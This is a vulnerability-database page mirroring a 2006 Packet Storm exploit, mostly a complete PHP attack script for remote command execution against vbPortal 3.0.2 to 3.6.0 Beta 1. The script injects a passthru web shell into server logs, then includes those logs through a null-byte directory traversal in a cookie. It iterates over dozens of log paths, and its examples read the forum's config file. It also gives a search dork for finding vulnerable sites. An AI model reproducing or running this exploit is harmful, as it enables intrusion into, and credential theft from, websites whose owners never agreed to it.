Lucene search
K

vbPortal302.txt

🗓️ 17 Aug 2006 00:00:00Reported by IHTeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

vbPortal 3.0.2 <= 3.6.0 Beta 1 Command Execution vulnerabilit

Code
`vbPortal 3.0.2 <= 3.6.0 Beta 1 Command Execution  
  
===========================================================  
#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "vbPortal 3.0.2 <= 3.6.0 Beta 1 Remote Command Excution \r\n";  
echo "Thank you Minus-Power \r\n";  
echo "Thank you rgod for your clear samples \r\n";  
echo "site: http://www.rootshell.net \r\n\r\n";  
echo "-> this works with magic_quotes_gpc=Off\r\n";  
echo "dork: Portal By vbPortal Version 3.5.0 <= 3.6.0 Beta 1 \r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to VbPortal\r\n";  
echo "cmd: a shell command\r\n";  
echo "cookie: Cookie name\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /vbportal/ vbblang cat /forums/includes/config.php\n";  
echo "php ".$argv[0]." www.site.com /vbportal/ ls -la \r\n";  
echo "php ".$argv[0]." localhost /vbportal/ vbblang ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / vbblang ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";  
$port=80;  
$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "[1] Injecting some code in log files...\r\n";  
$CODE ='suntzu<?php passthru($_GET[cmd]);die;?>suntzu';  
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";  
$packet.="User-Agent: ".$CODE."\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
  
# fill with possible locations  
  
  
  
$paths= array (  
"../../../../../../../../../../usr/local/apache/logs/error_log",  
"../../../../../../../../../../etc/httpd/logs/error_log",  
"../../../../../../../../../../var/log/httpd/access_log",  
"../../../../../../../../../../var/log/httpd/error_log",  
"../apache/logs/error.log",  
"../apache/logs/access.log",  
"../../apache/logs/error.log",  
"../../apache/logs/access.log",  
"../../../apache/logs/error.log",  
"../../../apache/logs/access.log",  
"../../../../apache/logs/error.log",  
"../../../../apache/logs/access.log",  
"../../../../../apache/logs/error.log",  
"../../../../../apache/logs/access.log",  
"../logs/error.log",  
"../logs/access.log",  
"../../logs/error.log",  
"../../logs/access.log",  
"../../../logs/error.log",  
"../../../logs/access.log",  
"../../../../logs/error.log",  
"../../../../logs/access.log",  
"../../../../../logs/error.log",  
"../../../../../logs/access.log",  
"../../../../../logs/access_log",  
"../../../../../../../../../../etc/httpd/logs/acces_log",  
"../../../../../../../../../../etc/httpd/logs/acces.log",  
"../../../../../../../../../../etc/httpd/logs/error_log",  
"../../../../../../../../../../etc/httpd/logs/error.log",  
"../../../../../../../../../../var/www/logs/access_log",  
"../../../../../../../../../../var/www/logs/access.log",  
"../../../../../../../../../../usr/local/apache/logs/access_log",  
"../../../../../../../../../../usr/local/apache/logs/access.log",  
"../../../../../../../../../../var/log/apache/access_log",  
"../../../../../../../../../../var/log/apache/access.log",  
"../../../../../../../../../../var/log/access_log",  
"../../../../../../../../../../var/www/logs/error_log",  
"../../../../../../../../../../var/www/logs/error.log",  
"../../../../../../../../../../usr/local/apache/logs/error_log",  
"../../../../../../../../../../usr/local/apache/logs/error.log",  
"../../../../../../../../../../var/log/apache/error_log",  
"../../../../../../../../../../var/log/apache/error.log",  
"../../../../../../../../../../var/log/access_log",  
"../../../../../../../../../../var/log/error_log"  
  
  
);  
for ($i=0; $i<=count($paths)-1; $i++)  
{  
$a=$i+2;  
echo "[".$a."] trying with ".$paths[$i]."%00 ...\r\n";  
$packet ="GET ".$p."index.php?cmd=".$cmd." HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: bbvbplang=".$paths[$i]."%00;\r\n";  
$packet.="Connection: Close\r\n\r\n";  
//echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"suntzu"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("suntzu",$html);  
die($temp[1]);  
}  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
===========================================================  
  
  
  
---------------------------------  
Do you Yahoo!?  
Everyone is raving about the all-new Yahoo! Mail Beta.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Aug 2006 00:00Current
7.4High risk
Vulners AI Score7.4
20